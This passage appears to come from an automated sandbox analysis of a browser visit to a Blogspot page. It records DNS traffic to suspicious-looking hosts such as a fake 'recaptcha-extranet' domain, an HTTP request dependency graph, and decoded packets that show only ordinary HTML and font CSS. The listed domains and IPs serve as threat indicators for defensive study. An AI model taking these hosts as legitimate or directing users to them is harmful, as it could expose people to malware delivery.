Jan 9, 2025 05:14:33.186767101 CET	192.168.2.17	1.1.1.1	0xfb5f	Standard query (0)	cf.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.186909914 CET	192.168.2.17	1.1.1.1	0x8dad	Standard query (0)	cf.bstatic.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:33.187517881 CET	192.168.2.17	1.1.1.1	0x3dcb	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.187635899 CET	192.168.2.17	1.1.1.1	0x2c45	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:34.195508957 CET	192.168.2.17	1.1.1.1	0x5a8a	Standard query (0)	cf.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:34.195688963 CET	192.168.2.17	1.1.1.1	0x7935	Standard query (0)	cf.bstatic.com	65	IN (0x0001)	false
Jan 9, 2025 05:15:05.957707882 CET	192.168.2.17	1.1.1.1	0x371	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:15:05.957825899 CET	192.168.2.17	1.1.1.1	0x40e3	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 05:16:06.534754992 CET	192.168.2.17	1.1.1.1	0x500e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:16:06.534878969 CET	192.168.2.17	1.1.1.1	0x72f1	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 05:14:02.483297110 CET	1.1.1.1	192.168.2.17	0x9572	No error (0)	rinderynitvye.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:02.483297110 CET	1.1.1.1	192.168.2.17	0x9572	No error (0)	blogspot.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:02.484164953 CET	1.1.1.1	192.168.2.17	0xed20	No error (0)	rinderynitvye.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:03.602020025 CET	1.1.1.1	192.168.2.17	0x9af6	No error (0)	enterawesome.com		193.3.19.74	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:04.895900011 CET	1.1.1.1	192.168.2.17	0xb415	No error (0)	admin.recaptcha-extranet.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:04.895900011 CET	1.1.1.1	192.168.2.17	0xb415	No error (0)	admin.recaptcha-extranet.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:04.899024010 CET	1.1.1.1	192.168.2.17	0xff49	No error (0)	admin.recaptcha-extranet.com			65	IN (0x0001)	false
Jan 9, 2025 05:14:05.956701994 CET	1.1.1.1	192.168.2.17	0x8a64	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:06.436743975 CET	1.1.1.1	192.168.2.17	0x81dc	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:06.436759949 CET	1.1.1.1	192.168.2.17	0x1993	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 05:14:07.398503065 CET	1.1.1.1	192.168.2.17	0xb6c7	No error (0)	admin.recaptcha-extranet.com			65	IN (0x0001)	false
Jan 9, 2025 05:14:07.399539948 CET	1.1.1.1	192.168.2.17	0xda9f	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:07.399539948 CET	1.1.1.1	192.168.2.17	0xda9f	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:07.399625063 CET	1.1.1.1	192.168.2.17	0x769c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 05:14:07.419646025 CET	1.1.1.1	192.168.2.17	0xf817	No error (0)	admin.recaptcha-extranet.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:07.419646025 CET	1.1.1.1	192.168.2.17	0xf817	No error (0)	admin.recaptcha-extranet.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.118244886 CET	1.1.1.1	192.168.2.17	0xaf79	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.118244886 CET	1.1.1.1	192.168.2.17	0xaf79	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.118594885 CET	1.1.1.1	192.168.2.17	0x2993	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 05:14:08.629656076 CET	1.1.1.1	192.168.2.17	0xcff8	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.629656076 CET	1.1.1.1	192.168.2.17	0xcff8	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.629673958 CET	1.1.1.1	192.168.2.17	0x9a5	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099040985 CET	1.1.1.1	192.168.2.17	0x3a33	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099062920 CET	1.1.1.1	192.168.2.17	0x823f	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099062920 CET	1.1.1.1	192.168.2.17	0x823f	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:32.099062920 CET	1.1.1.1	192.168.2.17	0x823f	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.194598913 CET	1.1.1.1	192.168.2.17	0x2c45	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.194598913 CET	1.1.1.1	192.168.2.17	0x2c45	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.194598913 CET	1.1.1.1	192.168.2.17	0x2c45	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.195286989 CET	1.1.1.1	192.168.2.17	0x8dad	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196932077 CET	1.1.1.1	192.168.2.17	0xfb5f	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196932077 CET	1.1.1.1	192.168.2.17	0xfb5f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196932077 CET	1.1.1.1	192.168.2.17	0xfb5f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196932077 CET	1.1.1.1	192.168.2.17	0xfb5f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196932077 CET	1.1.1.1	192.168.2.17	0xfb5f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:33.196942091 CET	1.1.1.1	192.168.2.17	0x3dcb	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:34.202574015 CET	1.1.1.1	192.168.2.17	0x5a8a	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:14:34.202574015 CET	1.1.1.1	192.168.2.17	0x5a8a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:34.202574015 CET	1.1.1.1	192.168.2.17	0x5a8a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:34.202574015 CET	1.1.1.1	192.168.2.17	0x5a8a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:34.202574015 CET	1.1.1.1	192.168.2.17	0x5a8a	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:34.202613115 CET	1.1.1.1	192.168.2.17	0x7935	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 05:15:05.964361906 CET	1.1.1.1	192.168.2.17	0x371	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:16:06.541508913 CET	1.1.1.1	192.168.2.17	0x500e	No error (0)	www.google.com		142.250.74.196	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:16:06.541985989 CET	1.1.1.1	192.168.2.17	0x72f1	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

rinderynitvye.blogspot.com

https:

enterawesome.com

admin.recaptcha-extranet.com

challenges.cloudflare.com

q-xx.bstatic.com

cf.bstatic.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49703	142.250.186.65	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:03 UTC	669	OUT	GET / HTTP/1.1 Host: rinderynitvye.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:03 UTC	444	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Thu, 09 Jan 2025 04:14:03 GMT Date: Thu, 09 Jan 2025 04:14:03 GMT Cache-Control: private, max-age=0 Last-Modified: Sun, 05 Jan 2025 00:50:44 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-09 04:14:03 UTC	946	IN	Data Raw: 34 35 32 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 20 6c 61 6e 67 3d 27 65 6e 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 6c 65 74 20 Data Ascii: 4524<!DOCTYPE html><html dir='ltr' lang='en' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script> let
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 63 61 6e 6f 6e 69 63 61 6c 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 72 69 6e 64 65 72 20 2d 20 41 74 6f 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 69 6e 64 65 72 79 6e 69 74 76 79 65 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 72 69 6e 64 65 72 20 2d 20 52 53 53 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 69 6e 64 65 72 79 6e 69 74 76 79 65 2e 62 6c 6f 67 73 70 6f Data Ascii: canonical'/><link rel="alternate" type="application/atom+xml" title="rinder - Atom" href="https://rinderynitvye.blogspot.com/feeds/posts/default" /><link rel="alternate" type="application/rss+xml" title="rinder - RSS" href="https://rinderynitvye.blogspo
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 32 30 30 30 2d 32 30 36 46 2c 55 2b 32 30 41 43 2c 55 2b 32 31 32 32 2c 55 2b 32 31 39 31 2c 55 2b 32 31 39 33 2c 55 2b 32 32 31 32 2c 55 2b 32 32 31 35 2c 55 2b 46 45 46 46 2c 55 2b 46 46 46 44 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 70 6c 61 79 66 61 69 72 64 69 73 70 6c 61 79 2f 76 33 37 2f 6e 75 46 76 44 2d 76 59 53 5a 76 69 56 59 55 62 5f 72 6a 33 69 6a 5f 5f 61 6e 50 58 4a 7a Data Ascii: 0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Playfair Display';font-style:normal;font-weight:900;font-display:swap;src:url(//fonts.gstatic.com/s/playfairdisplay/v37/nuFvD-vYSZviVYUb_rj3ij__anPXJz
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 3a 55 2b 30 30 30 30 2d 30 30 46 46 2c 55 2b 30 31 33 31 2c 55 2b 30 31 35 32 2d 30 31 35 33 2c 55 2b 30 32 42 42 2d 30 32 42 43 2c 55 2b 30 32 43 36 2c 55 2b 30 32 44 41 2c 55 2b 30 32 44 43 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 32 30 30 30 2d 32 30 36 46 2c 55 2b 32 30 41 43 2c 55 2b 32 31 32 32 2c 55 2b 32 31 39 31 2c 55 2b 32 31 39 33 2c 55 2b 32 32 31 32 2c 55 2b 32 32 31 35 2c 55 2b 46 45 46 46 2c 55 2b 46 46 46 44 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e Data Ascii: :U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:italic;font-weight:300;font-display:swap;src:url(//fonts.
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 33 30 30 2d 30 33 30 31 2c 55 2b 30 33 30 33 2d 30 33 30 34 2c 55 2b 30 33 30 38 2d 30 33 30 39 2c 55 2b 30 33 32 33 2c 55 2b 30 33 32 39 2c 55 2b 31 45 41 30 2d 31 45 46 39 2c 55 2b 32 30 41 42 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 33 32 2f 4b 46 4f 6a 43 6e 71 45 75 39 32 46 72 31 4d 75 35 31 54 6a 41 53 63 30 43 73 54 4b 6c 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 Data Ascii: 300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:300;font-display:swap;src:url(//fonts.gstatic.com/s/roboto/v32/KFOjCnqEu92Fr1Mu51TjASc0CsTKlA.woff2)format('woff2');unicode-ra
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 6f 2f 76 33 32 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 6d 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 31 46 30 30 2d 31 46 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 33 32 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 34 57 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f Data Ascii: o/v32/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;font-display:swap;src:url(//fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)format('woff2');unico
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 33 32 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 57 55 6c 66 43 52 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 34 36 30 2d 30 35 32 46 2c 55 2b 31 43 38 30 2d 31 43 38 41 2c 55 2b 32 30 42 34 2c 55 2b 32 44 45 30 2d 32 44 46 46 2c 55 2b 41 36 34 30 2d 41 36 39 46 2c 55 2b 46 45 32 45 2d 46 45 32 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f Data Ascii: ';font-style:normal;font-weight:700;font-display:swap;src:url(//fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C8A,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Robo
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 75 39 32 46 72 31 4d 6d 57 55 6c 66 43 68 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 30 2d 30 32 42 41 2c 55 2b 30 32 42 44 2d 30 32 43 35 2c 55 2b 30 32 43 37 2d 30 32 43 43 2c 55 2b 30 32 43 45 2d 30 32 44 37 2c 55 2b 30 32 44 44 2d 30 32 46 46 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 31 44 30 30 2d 31 44 42 46 2c 55 2b 31 45 30 30 2d 31 45 39 46 2c 55 2b 31 45 46 32 2d 31 45 46 46 2c 55 2b 32 30 32 30 2c 55 2b 32 30 41 30 2d 32 30 41 42 2c 55 2b 32 30 41 44 2d 32 30 43 30 2c 55 2b 32 31 31 33 2c 55 2b 32 43 36 30 2d 32 43 37 46 2c 55 2b 41 37 32 30 2d 41 37 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d Data Ascii: u92Fr1MmWUlfChc4EsA.woff2)format('woff2');unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-fam
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 70 72 65 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 Data Ascii: :root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit
2025-01-09 04:14:03 UTC	1390	IN	Data Raw: 65 72 66 6c 6f 77 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 0a 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 0a 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 0a 7d 0a 2e 68 69 64 64 65 6e 7b 0a 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 0a 7d 0a 2e 69 6e 76 69 73 69 62 6c 65 7b 0a 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 0a 7d 0a 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 2c 2e 66 6c 6f 61 74 2d 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 7b 0a 63 6c 65 61 72 3a 62 6f 74 68 3b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 0a 7d 0a 2e 63 6c 65 61 72 62 6f 74 68 7b 0a 63 6c 65 61 72 3a 62 6f 74 68 0a 7d 0a 23 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 20 2e 63 Data Ascii: erflow-wrap:break-word;word-break:break-word;word-wrap:break-word}.hidden{display:none}.invisible{visibility:hidden}.container::after,.float-container::after{clear:both;content:"";display:table}.clearboth{clear:both}#comments .comment .c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49706	193.3.19.74	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
